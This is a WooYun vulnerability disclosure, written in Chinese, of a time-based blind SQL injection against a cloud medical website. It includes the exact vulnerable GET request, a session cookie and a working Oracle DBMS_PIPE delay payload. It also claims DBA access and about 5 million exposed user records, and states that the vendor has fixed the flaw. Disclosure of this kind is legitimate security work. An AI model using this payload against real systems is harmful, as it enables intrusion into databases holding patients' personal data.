当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0216810

漏洞标题：智慧医疗安全之云信医疗主站SQL注入/DBA权限/涉及近500W+用户数据

相关厂商：jkwin.com.cn

漏洞作者： 路人甲

提交时间：2016-06-06 20:13

修复时间：2016-06-16 14:57

公开时间：2016-06-16 14:57

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-06-06： 细节已通知厂商并且等待厂商处理中
2016-06-07： 厂商已经确认，细节仅向厂商公开
2016-06-16： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

详细说明：

目标：www.jkwin.com.cn
检测发现以下地方存在SQL注入：（注入参数patientId，Oracle时间盲注）

GET http://www.jkwin.com.cn/ystpatient2.3/callR.do?functionName=doJsonp_f4bc5edb_8efe_4724_9b24_62ce7b52b552&method=getQuery&patientId=1&patientName=%E8%8B%8F%E8%81%94&true=doJsonp_f4bc5edb_8efe_4724_9b24_62ce7b52b552&_=1465190257502 HTTP/1.1
Cookie: JSESSIONID=CA4098C775A2CD02446CDF0EA8DA1777
User-Agent: Mozilla/5.0
X-Requested-With: XMLHttpRequest
Referer: http://www.jkwin.com.cn/ystpatient2.3/callR.do?method=getQuery&true=doJsonp_f4bc5edb_8efe_4724_9b24_62ce7b52b552&patientId=5577546766&patientName=%E8%8B%8F%E8%81%94&functionName=doJsonp_f4bc5edb_8efe_4724_9b24_62ce7b52b552&_=1465190257502
Host: www.jkwin.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


Payload：（延时3秒，验证时请注意Session过期）

1' AND 2452=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(102)||CHR(98)||CHR(108),3) AND 'UisK'='UisK

漏洞证明：

1、当前数据库用户，ROOT

user.jpg


2、所有数据库，共29个

dbs.jpg


3、同属主站数据库，引用wooyun-2016-0214867的表数据说明危害，涉及近500W+用户数据，具体就不深入了

TB.jpg

修复方案：

请多指教~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-06-07 11:32

厂商回复：

经核实,已协助关联方处理此漏洞!

最新状态：

2016-06-16：已修复，感谢提供！

漏洞评价：

评价